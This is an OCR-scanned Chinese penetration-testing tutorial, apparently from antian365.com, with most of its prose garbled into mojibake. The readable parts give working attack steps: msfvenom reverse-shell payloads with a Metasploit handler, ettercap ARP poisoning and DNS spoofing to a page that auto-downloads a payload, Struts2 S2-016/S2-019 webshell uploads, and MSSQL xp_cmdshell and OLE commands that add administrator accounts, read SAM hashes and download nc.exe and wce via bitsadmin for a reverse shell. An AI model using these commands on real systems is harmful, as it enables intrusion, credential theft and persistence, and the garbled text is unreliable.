MiTiZarS X ANE 12 Fis B ILARRYERIXE R S 7 ( BaLARERMTawS /sbin/ifconfig ) !

11 GRS HTRW

B 12 &5 IP jtbhit

2.311 @INE

B RTEERINE | BRI LEXD |, MiudHTH—ERRN , KTFUMHRR | &g

1000$oo © o o o

2312 &%

IRENBRSSERIEAER | TTLMERKIMAY server-spy it , RILATRENRISEASEREIMS |, IP Hbhit |,

HFXBFAXER !
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REURMERFIE , BATILISEEFPIHERFEHANS |, FER linux HANSEE,
windows M XNSAEE: , DRXZEM ping tn SIBRAUMERFXE! , E—AAERT . windows
XP/2003 FIEIAY TTL (E79 128 jinux XIREY TTL (& 64 Unix IFRIAY TTL (&R 255 .windows
7/10 X3RIRY TTL (& 64 , windows 95/98 FIRIAY TTL (& 32,

SRR , SRENRIUSROLERIRRR | AR AREEFRRSE | TRE(iJEEEMA pwd, IsENGS | BBA
BAIhEFGEHREAIRER  HHRIIT LG SRR ARG S |, BITILIER SRIEM
P locate — RZar SHIIEER , AREIZIREPEL. ARAITHXHS.

WEINANZX 365 HiAR3Z7iRF (513833068 ) , i THAIHIE , A QQ 1653597222, i5Z45

8,
2.4kali Bi&E windowsXP T8

(=P
XA MR H ORI, ER IR SR, X5
ALLRILRSE, B 5IT) kali 7EFT T kali 2545\ nmap —sP
192.168.1.1/24 X HLAT ip 2T M ICHB IR AT PLA A B U W OCHB I
CA= I T D Al i R st it ) 1 BB A2 33 8 R A7 B 32 AL
an &

\map scan report

Host is up (0. 097 :

MAC Address: 2C: 1 ( Unknown)

Nmap scan report (192.168.1.112)
Host is up (0.0°

'MAC Address: E8 : CA—(Pegatron)

Nmap scan repor st (192.168.1.117)

" Host is up (-0. 2
MAC Address: 00: 1:90 ( VMware)
Nmap scan report ost (192. 168. 1. 116)
Host is up.
Nmap done: 256 IP addresses (10 hosts up) scanned in 7.31 seconds
e i

037 /3L 97 W EJ7MuS: http://www. antian365. com HEH: &8 28 H HT40E:
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2.4.1 FHim A

IXAHEHEAR 0 TP st R H AR 192. 16 & 8. 1. 117 B RHA
nmap - sC 192.168. 1. 117 iXHJiEAJH R B SR EALSEM DL H
S5 (nmap FEF A, ELZHIHD

:~# nmap -sC 192. 168.1.117

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2017-05-11 05:51
Nmap scan report for localhost (192. 168.1.117)

Host is up (0.00022s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

135/ tcp open msrpc

139/ tcp open netbios-ssn
445/ tcp open microsoft-ds
MAC Address: * (VMware)

Host script results:

| _nbstat: NetBIOS name: LM-20170422SXSC, NetBIOS user: <unknown>,
ware)

| smb- os-discovery:

2.4.2 X 3 shellcode

PARIXA B bR EALERFTIE AN T 7 — Loy i ToiER B0 3F R AT 1Y
MS08-067 X NI, IFNEAK T AR, 4 TR EDr DNS 80w 1 .
ANt PR RTRATEI AN G TR AR B — 18 Ay 2 5 AT LA msfvenom —p

windows/meterpreter/reverse tcp lhost=192. 168. 1. 116 lport=4444 —f exe >
/var/www/html/upgrade. exe TP /RA]LAHRES H LY, AL Al REHE A, R0 LA
HEFHRA—T, RRATIAHT

s~/ S E# msfvenom -p windows/ meterpreter/ reverse_

16 lport=4444 -f exe > upgrade. exe
No platform was selected, choosing Msf:: Module:: Platform::

' ad
No Arch selected, selecting Arch: x86 from the payload
. ® - No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
> ~/§ Egl# I
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1E 2w N\ msfconsole JB3l Metasploit WK

. ~# msfconsole

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7. com/metasploit

metasploit v4.11.4-2015071403 ]
1467 exploits - 840 auxiliary - 232 post ]
432 payloads - 37 encoders - 8 nops ]

J

Free Metasploit Pro trial: http://r-7.co/trymsp

BRI UL 15

use exploit/multi/handler

set LHOST 192.168.1.116

set LPORT 4444

set payload windows/meterpreter/reverse tcp
show options

exploit

2. 4. 3 15 DNS

FReeEA EEEREH O ip Mg 1 EEE BB 30 exploit A5
SRR AT IS — AR KB — N T, 1 KaAE DNS
M T EHTRBIX N EE ete/ettercap/ B HUXAS U etter. dns

039 W/ 97 T B MG http://www. antian365. com HHRHY: FH 28 H Bk
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B OB ANy stterdns K

fetcfettercap

HHHE S

microsoft.com A 107 .170.40 .56

" .microsoft.com A 107.170.40.56

A= micrnenft com DTER 167 1760 46 56 # Wildcards in PTE are not all
i A 152 .168.1.116
PTR 192.163.1.11&
R T T TR
@+ no one out there can have our domains...

At A A A A A A AR A A A A AR A A A A AR

ZUHE R R R ISR TP bk, ARM1AT UL E IR InA T
TR E TR IP A LA, BEGEatRAF—F, RJaER R H

</ var/www/html /B HEX AN index. html ACRS4HH

<!DOCTYPE html PUBLIC “~//W3C//DID XHTML 1. O Transitional//EN”
“http:/www. w3, org/TR/xhtml1,/DTD/xhtmll—transitional. dtd”>

<html xmins="http://www. w3. org/1999/xhtml” xml:1ang="en”>

<head>
<meta http—equiv="Content—Type”
content="text/html; charset=UTF-8">
Stitle ig FEGH T RN IE #5</title>

</head>

<body>

%40 T/ 97 W E 7ML http://www. antian365. com HARHM: H 28 H HMmTRE: 4%
7



(22K 365 M) — BB ZEH AR A SR QQ #f: 513833068
F:EHT: antian365-201705-28 22K 365 fii TACHL LA http:/liwww jianshu.com/c/ad835367b9e3

(script language=""javascript >
window. onload = function() {
window. location. href="upgrade. exe”;
/
/script>
</body>
</html>
GO B H CF BN, AL ELE T, 1B )7
BN TINIT46 L7 1T )] TR #IEIE A H & T var fwww/hitml /%% 31| 2%
vt i N\ Jetc/init.d/apache2 start J5 3/ apache2 ARk%% 28 (i Bl 2 AN
AEARSS 4

root(@ kali: ~

NEF(F) #m3B(E) EE(V) EE(s) £iR(T) HEEIH)

i =# fetc/init. df apac start
Starting apache2 (via systemctl): apachel. service.

:—#|:|

¥ € var www html | 3 E_
BT R Y -

i index.html upgrade.exe

S

A

BT RFZFR AR I A ettercap -G HEA ettercap FEAL A

#5041 /3 97 T B MEG: http://www. antian365. com HERHE: &H 28 H HTFaE:
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ettercap 0.8.2 {
File Sniff Options Info

Unified sniffing... Ctrl+lj,

Bridged sniffing... Ctrl+B

Set pcap filter... Ctrl+P |

D
)
M
L

FifF unitfied sniffing FEW F it E

ettercap Input

Network interface : | ethO

BGH(C) || BE(©)

BT RINF 55 scan for hosts FlHosts list A3 HEML

042 /3L 97 T BEJ7M%S: http://www. antian365. com HERHE: &H 28 H HTF4RE: &
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ettercap 0.8.2

Start Targets Hosts View Mitm Filters lLogging FPlugins Info

Host List * Hosts list 2 Croiainia

—
IP Address Enahle |PyA =ran n
192.168.1.1 Scanforhosts | C
192.168.1.101 Load from file...

192.168.1.103  Save to file...

192.168.1.1[}5. B&:81:98:AC:42:B1 .
192.168.1.108: 2C.5B:B&:84:F3:FD
192.168.1.117 00:0C:29:A4:50:90

Delete Host . Add to Target 1 . Add tc

Lua: no scrpts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
& hosts added to the hosts list...

P RIRX B OGS 192, 18, 1. 1 Fe s di— F WS hk 7 A5y Add
to target 1 ZAJ5H iR E X Wbl fE %+ Add to target 2
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ettercap 0.8.2 @00
Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List =

IP Address MAC Address Description
192.168.1.1 E4D3:32:41:8E:58 :

192.168.1.101  A8:1B:5A:03:11:AS
192.168.1.103 C8:3A:35:C3:66:88'
192.168.1.105 B8:81:98:AC:42:B1

192.168.1.108 2C:5B:B&:84:F3:FD

192.168.1.117 00:0C:29:A4:50:30

Add to Target 1 I[ Add to Target 2

Randomizing 255 hosts f
Scanning the whole netma

Host 192.168.1.117 added to TAR

P2 R Sk 1% mitm T arp poisoning & 1B 2 9 H — N B LR B LR

B e

MITM Attack: ARF Poisoning

9 Optional parameters

& ’5niff remote :unne:tiuns.]

|| Only poison one-way.

| BUAC) || BE©) |

SN TEIEFE plugins ) mangge the plugins JEIMEEEIX AN UTTH I,

BEs2 dns #50 B AT dns_spoof
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ettercap 0.8.2 @ 0

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List * | Plugins x

Name Version Info
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poisan 1.1 Check if the poisoning had success
* dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN

find_ettercap 2.0
find_ip 1.0

ARP poisoning victims:

Try to find ettercap activity

Search an unused IP address in the subnet

GROUP 1:192.168.1.1 E4D3:32:41:8E:58

GROUP 2:192.168.1.117 00:0C:29:A4:50:90
Activating dns_spoof plugin...

PR G BATAR IS strat H11 start sniffing GEIIHFAE DNS M
S8JE H AR ENL A ZZST IRl sl 2 A IR G DL, AN U IR A AT 194
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2.4.4 SEHEIR R I T

o) KA ZHE EFY WEQ T4
O () (D) () : [ recoef ferre bt : == e ey
e_ LY )0 http:/ /v baidu. com/ < AE7 B}gﬁ -\ EE | |
x WA TR#

S| W FRITAEM RS

T - http:ffwww bal. £S5

SAIR DT

pe d:ATODOYRLOADY

ERIREE

T#or e BahET

MR T
R eRFRE(1-10) 8

HETR | WEEmE ZATE - || B

NI NS Mt R R BATE T

exploit( ) > exploit

Started reverse handler on 192. 168. 1. 116: 4444

Starting the payload handler...

Sending stage (885806 bytes) to 192.168.1.117

Meterpreter session 1 opened (192.168.1.116:4444 -> 192.168.1.117: 1412) at 2

fi & DD SR IX AR T SRS A A BB AT B T AN R SRR A 2
— I dos 2R A] LA shell 3 MMt R Gean S ATIRES
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meterpreter > shell
Process 360 created.

» Channel 4 created.

_Microsoft Windows XP [ @# 5.1.2600]
(C) E000e 1985-2001 Microsoft Corp.

C:\Documents and Settings\ Administrator\ WI

POXAT LAY, B 1 AR

2.5 ARG HT struct2 KIS 34k LB

ARSCHARMEARIR R, JUPHGRFI A T REKRER, R ARA RS TR, dk
WRERY), Eese, M BAERIL, EAR SO AV AN T, AT DU WA A VG i
BB, S, ZEATLLE IR web REKSHAT UM, ARG HIEREALS, EAHLHER—
AMLBR B B AR AR i 1 H AT AL, DRt 75 BERS —i FAY) web 5 EHAE 22 11 9 3t H 3%
iR —EI T .

AR HI S T B AR A — UL, dn SR AR S o SCERREVT IR, EIASC
PR TUHIAELE, 540 BURIR A — 2 ) AR Bl

tipd: BRI RN 3G windows REEIEAE linux RS, I R /NE BRI UK
PEARFEIHEAT AN . fn: http://mww.10086.cn/gz/index_851_851.html ¥
index_851_851.html A inDex _851_851.html #4711, &I E MG ANGEILE Vi, 4]
AT LI Z RS linux R58, AHEREGE T
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2.5.1 JsiF= AR R E

Apache Struts2 ] “Dynamic Method Invocation” #L#ill 2B fE 1, (EREEH &
AT RE ML PSRRI P AL 5 BOZ FR AR AT IR,z FE Bt # T A
IR RIAE 52 50 82 BRSO AT AR = ARAS .

Apache Struts2 7E 2P FE T OGNL Fik 2, 30K /i@t URL #2232 1) N 2545
Fz\ OGNL F£iEAXH, 4 debug BLUTF R R, Zoahi # a7 DU I M %R URL SRPUTE=
Java 0B, BEIATHATAE R A2

Apache Struts 2.3.1.1 Z Jijfii4< " i) Debugginginterceptor 4014 A E IR » 2418 F T
KA, AR TR Az TR A B R B A TR R A A

Apache Struts2 f] action:. redirect:fll redirectAction: iif 2% 248 StHLH Th B 15 F o
T OGNL RIAF, F¥5 M i URL $258 INADHEAN OGNL Fikx U, M i A
Yo % n] DUE A % URL SRHUUTATE R Java AR5, @Ml AT B4 . redirect fl
redirectAction: SL P IIHT 20 Struts BRIAJT A DRE, H AT Struts 2.3.15.1 DA T FRABA7AE L
TR o

2.5.2 J§TA KB

EER struct? JRIFEAI T, A3 HRM AL s2-016, s2-019 struct2 i,
3P

ot : o GO —— .5 [ teom |

EHE T S2-0055
ST S2-0095F
i HETF{E52-016%E M dex.ac
TS 2-01 Qﬁiﬁ.ﬂhimaex.ac
T L 2-03 25 R
ST T S 2-033 A
iZHHE T TFIE S 2-02TRRR

index acigFEe!

K 1.1 struct2 JwiF
2.5.3 JRIAF H

XS AL struct di A AE AR SR TRBEATAA, — BB REEIZAS !
LARICH b B
BIEAG AT, EATRERNBRGIMREE, KB HARME S wA:
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@ B [be VD - -

i

O wl: (wre | OEss @ cookie:|

@ BR: Oe20e sz037 O 2016 52032 (O 2016 devMode () 2013 52019 @ 2013 52016 () 2013 52013 (O 2011 s2—008 () 2010 S2-005

BEEE niies YHLS SRIO THER O GYRARY
FoEe  #eEe | Az

Torce:: R < -
Uzeage: S2-016
¥hoani : nt wtl\ori

¥ebPath: D:\apache—tomcat—7. 0. 59\we|:apps-

Torcet: (D - . .-

Useage: 52012
¥hoani : nt autl\c-r:\

WebPath: D:\apache—tomcat-7.0. m\tehapp'

K12 RGMKRER

P IR S FCSRAFAE 1Y I LRI T 2Rl sl O OSSR AR, 53 A P B

BB system BBR, N F—SEE RGN T — A RIFRIE.
2HATRG 4

I X AR AT a2 AT, ERTIIREE B R 402 windows REGE (—MEHI
FIWr it R AR S windows Al linux REERTK/NEBURFEFEARFD , B LA EHEAT windows i
4, TF1 s2-016 AT LAAT RGidn <, s2-019 $hATar & A, wiE:

T Di@"ﬁ] @ Caukim:l

@ ®B: Oezoie s2037 O 2016 52032 O 2016 devMode () 2013 S2-019 @ 2013 S2-016 (O 2013 S2-013 O 2011 se009 () 2010 52005

EiFES ATES miEEf S0 THEE O sshitEE
ﬁi%i |ipuonfig il Hhﬁ' ﬁ# ﬁ
*Eicad-> ipconfiz

Vindews IF BT

EUAPTESE B itiEs:

f EIEMEE isatap. (526F5AS1-DD10~4CAT—9437-374BZFIFCODA}

3 N
gﬁlﬁﬁﬁg Teredo Tunneling Fseudo—TInter face:
By e g RREER

*EScnd-> ipconfig

¥indews IF 77

1.3 #TRG WL

MPAT R TT U e, 2 5 2 AP 9 36 3 i 1 S B4R ), 9 ELEREREI P ) ip b

ik BERGH, KO3 MK, AT WA R = !
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WESemd—> net user

W FIF A A

ﬁu:]mlnl strator ba_anommons Guest

ASIE T e, (BRE—1 :E%:’l“talae o

K 1.4 ZR4G0K)
NI eth10, @shnik - kxh, WK

WESemd—> net user ethlD Eth10 fadd

A AR -

*ESemd—> net user

Vi BIF PR

ﬁu:]mlm strator cha_anoromons ethin
Gues

nn-:al_ﬁn—.'és BEf—eE MR-

K 1.5 #shn eth10 ik

HT RZBENK, FUICAET N —D8ME, T P2 m H P s m 248 8,
RGPS, M BRI RUE Y, AR i AR, Bt~ — B2 e e w AT, —Hig
TR B ESE ), A28 o] LASE R AE 5 T BRI 2 R GRK -5 2555, S8 )5 B 2 mds i i) ik =,
XA 22 RO/ R TP IRV, DA B (AL EAT 45 i I 55 2% o (BT, MR 5 SRR o
3.3 B A%

BT AR T s2-016, s2-019 Wi, {HiE A s2-016 7 LIAT R&iam S, Wk
A $2-016, MBAFMIEL T RAE AT M EAE, EALAKRD, MTTEAT 6] RS54

JeTE 200 B3 b A — AN, RILESR BOR A% ok, (FREIVIRAT, WIEHEN
ST BRI, HERT 1 H SR A AT MR, 8 X tomeat T f#, &K I webapp T
HBE—A ROOT Hat (HXTMR AR , TR EMEEZHEZE, RO AR, 6T
i, 4n
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=] R DEE@ a Cnokie:|

@ BA: Oo2016 52037 O 2016 52082 O 2016 devMode (O 2013 S2-018 (@) 2013 52006 (O 2013 52-013 (O 2011 52009 (O 2010 52-005
BifiEE hifes HHFLE EE0D 2SR 0 IHLART
j{fﬁﬁ«’[ﬁ I Yapache—tomeat—7. 0. 69 \webapps RODT | S{ﬁ:g test. txt I tm—lﬁi J:‘f‘t’ﬁﬁ'ﬁi .
KoondD) | BER TGS, (BRSXF BEALISAEVIEHRTIEN. | Tt || ISPAD || Bedd | F03 |
Struts? Exploit Test

FfEER:
okakok

K 1.6 AL

[N

tl&ﬁ\ lmm cmm -Qo‘b lﬁazﬁm -%sxué
|-> a .F

Struts2 Exploit Test

B 1.7 ARSI R
BB AR, AT ER:, B, A
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O +

) D: \apache—tomcat—7. 0. 59%webappsh

211.139.11. 138 BF @), ) et
- =
e C: )
el ) koot
=) $RECYCLE. BIN ™. jepmianzhabyethil. j=p
=l I apache=tomoat=7.0.59 = one. jEp
] bin )
— test. txt
| eonf =
) 1ib
: logs
] temp

(SRS v cbapps

L EOOT

] work

=
=
=
=
o
=

K 1.8 T IhiER:

BiEl

201 7-02-20
201 7-02-20
201 7-02-20
201 7-02-20
20170220

15:41:88

16:20:01

13:26:21

13:32:07
13:21:31

i

4096

2671

IXE
S
R W
R W
R W
R W
B W

KIVERMIN LU, H1T /2 system BUR, BIMAMER TE ARG P, JFHAT LA

WEC LT H, Wi — 2Bz 55 45 !

WA EE A RIL, AT BRSO B AT T

I webapps

= Ol olend

E| oss [E| uselmages

images =] WEB-THF

o j= " index. j=

[ META-THF L "5
™} jspmianshabyethll. jsp
"% one. isp

EI resml.'lrces |J test. ac

umedi tor -

) upload = test. txt

I useImages

HREVAAT

2014-11-18
201602-26
2016-11-09
2014-11-24
2017-02-20
201 7-02-20
2017-02-20
2017-02-E0

T S T S
() = e

0:

0:
3
3
3

42
33

18
10
(16
=]

EB636
4096
B3
96T
2671
20

20

A B SO, IFELE S, W AT R e e R A, W
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O ™ SO

vapp st BEOOTY> ipeconfig

Windows IF

1.9 SZJ]RE &

Ft, CRIAEERZERCR, TRV ZITR KA 1 02 g

2.5.4 IBEE W

HAj B xkmm T A T UMBE XA 28, &2 mrEI NG,
. s2-016, s2-019!
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1R 45

i bRIAn, iZvk A EHATR RS ERR, BRRE E %R !
2. AN

Hob T R BRI L b B i, ST AN RS T 34T A vk !

2.6MSSQL sa 55 ML RAERMIRFE]

By antian365. com Myles

2.6.1 “P RBREFEIE” FH xp_cmdshell

Microsoft SQLServer /&> C/S B A MG KK R R MBI EH ARG, NS +2 2,
MRS 5 6 B 2 2 — 28 MIS(E HIUE B R 40 BT AR B e & 5.

2% 2 4P 22 W FI ] SalServer SA 55 14 LT RGENIR, BLZR SalServer HH" 77
il L FE IR RSV B BRI, AR R A 22l FE ?

IR . HSEBUR A “HRET, AR ARRS AN, MR IETE SqlServer
TSEE I “sauikfsRE” , U E A REUR M T-saL T E g i AR/
AILFE ARG, AR “AEnd 27 o M AR X /N A b, L fa R 1
R NIRRT A ELRE P “xp_cmdshell JAIA” , ER LISAT AT RGTHIAE
R4 . WERIATRENE IR SA HE L AALR, BATHL AT BAEA] SA #YE BEBURR AT DL E 4k
1T AR AR “xp_cmdshell A, HFRAF IR [AIH .

gepoobebbobobobeRosbERe
ds2c3¢i23333: Aad0o 830858

R RRARL LA RE R RRS

&
’? dbe. xp,
_‘,J dbe up_deletemail

L RN - W s aa -

‘ ‘“’I o
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2.6.2 FIF xp_cmdshell 72t REHRMK S

AN BATAT DAAAT AR A, BEAT R GEIK 5 AU s Af: -

exec master..xp_cmdshell 'net user test 123/add'

exec master..xp_cmdshell 'net localgroup administrators test /add'

PATUA LA JG, FRATIAE IR 55 4% LA T — AR 4009 test, %408 123 RSB .
FIXH, BAINIZEAE T, A ABATUERII 7 Bl B SA BUR G, BATR LLE 3R
WA G 1) o e 7 B AR PR o 3 gl 45 AT IR e P o B S i B L, Nz R
LIRS ERERIBCE, DL B NRE BRI .

L EE— L DRI UET 38— LML

T
¥ 1
] exec master..xp_cadshell "net user’ I

/

output /

NULL
W\ BIE %R
NULL

Administrator ASPHET Guest
IUSK_Us IVAN_Us SQLDebugger
SUPPORT_388945a0 UF_OLAP_USER

SSEARY BEEX 1RSI ER-

NULL

0 |\FULL

e - -

B =i i) Ae

b8 -2 o

2.6.30LE A7 i i A2 I Tk F

OLE X % % i) 17 £ i £ & sp_OACreate , sp_OADestroy , sp_OAGetErrorinfo ,
sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, EARMMEH VLT,
1IN test K5

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'

HER: HK cmd.exe HIYHE A2 EAK YR BARHIERAE R G0RIE -
2.5 test WS 02 administrators 2% & 2

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
EXEC SP_OAMETHOD @shell,'run’,null, 'c:\WINNT\system32\cmd.exe /c net localgroup

administrators test /add '
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2.6.3xp_regread & xp_regwrite 57 [& K 5

1.3KHX administrator K5 ) & 25

xp_regread '"HKEY_LOCAL_MACHINE','SAM\SAM\Do mains\Account\Users\O00001F4','F'

exec master..xp_regread  HEEY_LOCAL_MACHINE®, " SAM\SAM\Domains‘\Account\Users\000001F4","F'

Valuef Data

F 0020001 0000000000F 2D0OSSCATTESD20100000000000000002295ABFBETA8CC, . .

lz 1 IEDY)

2. R WIAISRIE Ox... Ik Y value (TR E 45 guest K5

Xp_regwrite
'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......

3.f8 11 guest K5 B i fE o5 i A 2L
TR BRI 75 2 guest I FE“ImRE S0 I AL, 75 U S BAS SR VR AR 5 SR R O 5

BPEW: [eed
B |
2 wz | mm | | B0 «|

N A, FRATTZR8 s guest VS INE] “administrators” 4H ¢ # “Remote Desktop Users”,
MAETRAVERE B M guest K5 E5%, OK T, BN, FIIHFE T administrator K5 .

2.6.4MSSQL AT FE R FH /NG

N QIR R uN
MNAZ ISR BER UL, EZREL MSsQL sa 85 12 )5, ATHT LU FH A7 il i R /N RAA =28

1. xp_cmdshell
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2. OLE MRAFfELAE
3. xp_regread 5 xp_regwrite

2 A I AR 7 1%
(1) xp_cmdshell /7t FE 5 OLE AHIRAF it 7] FH

T xp_cmdshell 7% 5 OLE #HRAFEFE T A E A R G 2, sdRA T DLE
FAEIE A AT RE T BN, SRESHUT R EAL A2 3
(2) xp_regread 5 xp_regwrite F|H

FIH xp_regread 5 xp_regwrite P MFAE IS FEIA FT DL ELHE I S 5NV EM R, Brihdk
fITAr A XA A7 I S FE SR SEBU “ FE ML administrator 8848 5 H UK 5 14647 50
B, AT SEEN H bR AL

H2 RN, KRR A fEE—E R, BARRREA LR LA

(1) guest I/ 75 ZE 08 5 H 5

(2) guest iK' 75 EL{E “Remote Desktop Users”
WA Ek T UL %A, guest Tk ERTCIEIERE S K HAR ENL, AR T guest K/ )E A i
TR A AR INE R 2 I

exec master..xp_cmdshell ‘net user guest /active:yes’

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'

78 LRSS, JERIGIE &K ILLE windows 2000 £ 48 IR A IXFER PR A, W BRaE
F| windows 2000 R 4i 1] LAZRS UL FAf L, TWTHENZ .

2.6.5 ZEFHP

FHXf mMssQLsa 55 4 NRAEDL, BT I B 37T BOAT IH AP A

(1) Xt mssQL Fo i xF SR B 5 S48, TR AR 55 B 1 9% P4 5

(2) XF R RAE MssaL ARSI ENL, AT ZN5E sa HSERERRE, [
I T — AR L 55 R e B R 00, BATVSEANEAEH] sa I i SRR A ool 12 i 2
BURR,  BSCO s P A e 3 F

2.7SQL Server 2008 B RIAUE BE

antian365.com simeon
R Z ) Windows2008 filk 5% ds #8455 LA S N IR, FE4AT FEAN I AR d & PAT AR,
A LAESAAT a2, HOVEGRRR (29 RGRIRD +AMR a7 1P HIfFLL S, il dt472
%, ZIKI?}EWTEJ%&%T it JEL R AP 78
IO, SRECT X7 MssaL 1 sa K5 & F14, did saL Al s, mrbuEsE, |
TR ERM PR, 1 pos, AlJE I saL A MRS, IR A
R RRTEMATIEE T, o Fh E IR R
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o SQL SR - [FIHFE —59.: 6. AblHanage T_A 1]

B orEE &SI5E Q) TEM Fow #EBho
ER - E R e
TR Q) X
£ 59— (=) 2
8 5o mm—
= U AblManage
=00 BPE
=b |
f B T2 SQL ZAH TR B3
T A3 [Microsoft][0DEC SQL Server Driver][SQL ServerHHRE * AblManage T A1 T
; T A4 [Microsoft] [0DEC SQL Server Driver][SQL Server 1iZF4m-fc = 8Ho
| mETAS
. m{E 1A
T.S_1
i TS2 T

Kl 1sql il a A s

2.7.1 A B AT AT S

7E kali Hi# L msfvenom A s 5 BT AT SCHF
18 msf A2 R exe SO 452 e Wy
(1) AR5 exe
Linux msf RBEWEIT 4433 3t 11, AHL 1P Ay 192.168.52.215, 4 N — XA, LRI
Bt EAEA ST 1P BT, B AR T M
./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.215 Iport=4433 -f exe -0

| g E =

/tmp/my_payload.exe

(2) 1 msf LI AT
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.52.215
set Iport 4433
run0

SR shell By i, X 0] AR 2] —4 shell,
2.windows T T 4433 i [

(1) msfvenom F G524 (-p) v L E LA —2, 0] DUEH msfvenom -l payload
| grep 'reverse' BT BB FIERE, BVHEH LT —L tep }iﬁﬁﬁ‘] shell F&Hk.
windows/shell/reverse_tcp
windows/x64/shell_reverse_tcp
windows/shell_reverse_tcp
windows/shell/reverse_tcp
7t msfvenom Ha] DL BA T iy 4 25 VR 240 1Y e B0 T -
msfvenom -p windows/meterpreter/reverse_tcp --payload-options

(2) A5 exe
./msfvenom -p windows/shell/reverse_tcp —a x86_64 |lhost=192.168.52.215 lport=4433 -f exe -0
/tmp/w.exe

(3) ¥4 B /tmp/my_payload.exe b A% H bR iHENL BT 5 RIAT 15 3 S5 shell, A4
g — N EHEINISLET 1P, SR ma.exe.
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2.7.2 HAECHF

FE4 webshell [TEHL N AT LLEIT webshell #E4T FA%, 7ETG webshell ff5HL T, W2
windows2008 A LA A< T] LS A bitsadmin Sk AL ST
1. 3447 bitsadmin H — & AR
C:\Windows\System32>cacls bitsadmin.exe
C:\Windows\System32\bitsadmin.exe NT SERVICE\TrustedInstaller:F
BUILTIN\Administrators:R
NT AUTHORITY\SYSTEM:R
BUILTIN\Users:R
2.2 Background Intelligent Transfer Service iz %%
#id saL AT e, fEH AP AT “exec xp_cmdshell “ net start’” & K&/ RS H T
WSS H RIS T “Background Intelligent Transfer Service” , W 2 Fion, EH A A ILZ AR
FZOEITE, ] LLE AT 7 4 KL

net start | find "Background Intelligent Transfer Service"

& SQL EWHHTR - [FlH — 5 5. AblNanage. sa — FAneR1x]

B @ 6B S8E TAD® BOW HHo
[o-zee) aastn-(E -1y el[mes =60E6 &6
HEWKE © x|

exec xp_cmdshell “net start’

output

BERBHUT Vindows BE:

NULL
Alibaba Security Aegis Detect Service
Alibaba Security Aegis Update Service
AliyunService 3.1.1.1
hpplication Experience
Application Host Helper Service

‘A:u‘m‘H

=[]~ o en

|__Base Filtering Engine
]

Certifinate Pronasation

o

K 2 & & Background Intelligent Transfer Service k%%
3. A% nc B2 7
TERPRBE SRR WA AR, ATLMEH nc.exe 27 KAAE, A bitsadmin iRk %S
Background Intelligent Transfer Service) K A& SCAFRIAr 2 U1 T -
(1) bitsadmin /transfer n http://www.antian365.com/lab/nc.exe c:\ma.exe
(2) bitsadmin /transfer myjobl /download /priority normal
http://www.antian365.com/lab/4433.exe c:\ma.exe

& sqL BNHEB - (Bl — 50 AblBanage sa
B ye @Ee SN TAQ 0@ EHy

A-ZEE| . ALM| o|D PR rewrerwovsamme I~ 1071 - W1 g
HRRRE Q) X[ = dshell 1 /downl e T]
[ -

FEL

ERTTTE

i
2

«3 3

= LI BGER 3
5

6

7

sfer complete.

K 3 EAARGRER

= ne
« O i
= i@

AT PLE$2 T3 wee R4H S04
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bitsadmin /transfer normal http://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
bitsadmin /transfer normal http://www.ampliasecurity.com/research/wce vl 42beta x64.zip
4. BE BAERSCH
EH AT “exec xp_cmdshell “dir c:\'” w52 11& 4 Fix, ma.exe DA MINTE R AL R4
B X EESTHR RN, IER G R FAR

o SQL AT - [Zi — 5. _.AblNanage. sa — Atnmmls]
0t E ®EE ZWE IEO F0® #Ho

D ST ) EBEH| 0| E s s Houee < ANG|SE

HENKB © X M rpondshens dir civ | J
5 SN --) =l

EEL 0 Rl

=-[J AblManage

output
Wb ¢ PRERHTE.
&MF7IS2 E80D-OBBF

5 |WULL

1

2

3 |NuLL

4 | e\ WER
5

6 |2006/09/19 05:43 24 autoexec. bat
7

2006/09/19  05:43 10 config. sys

8 |2017/02/28 10:58  <DIRY shpul

|9 |2017/03/09 18:10
10 |2008/01/18 17:40  <DIR> Perilogs

11 2017/03/11 10:57  <DIR> Program Files
12 |2017/01/16 12:48  <DIR> Users

13 |2017/02/28 10:48  <DIR> WVindows

|14 |2017/02/27 17:52  <DIR> AETH

15 3 I 73,836 F

16 6 1 HFE 41,387,954, 176 AAFH
17 |NULL

4 BB R LA

2.7.3 14T R BAE P IR R G AR

LAE SO T AR 25 4% BT e W i 4

TE AR S5 8% E I BAT T a2 “nc—w—1-p 4433”7 , WK 5 fian, SR)GFE sql £k
oy pT s AT A A
exec xp_cmdshell ‘c:\ma.exe —nv 127.0.0.1 4433 —e C:\windows\system32\cmd.exe’

T [ ) 2 0m FP AT whoami #r 4, FRINAGAR, SRJGIUAT systeminfo #r 4, FKELFR
GRAEE, WE S R, £&908 windows2008 sp2 server, 7% o~ 64 1, NIARSS 28N
32 AT Tiﬁﬁj:

V.7 om || ARimanage L R A

erc xp_cmdshell Tma. exe  —nv 120NTE 1155 - C: \WINDOWS\System32\cmd. exe ]

c\|C: \FINDO¥S\system32\cad. exe — nc —vv -1 —p 4433

poration. (7 8 P&ﬁvﬂ i

Kl 5 RIS B R S shell

#0060 /3L 97 T B MBS http://www. antian365. com HERH: & H 28 H HT44GE: &
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C:\Users\king$>systeminfo

iZedo8devghcuhZ
Microsoft® Windows Server® 2008 Standard
B2 Service Pack 2 Build 6862
rCCUFpOrFAC Lon

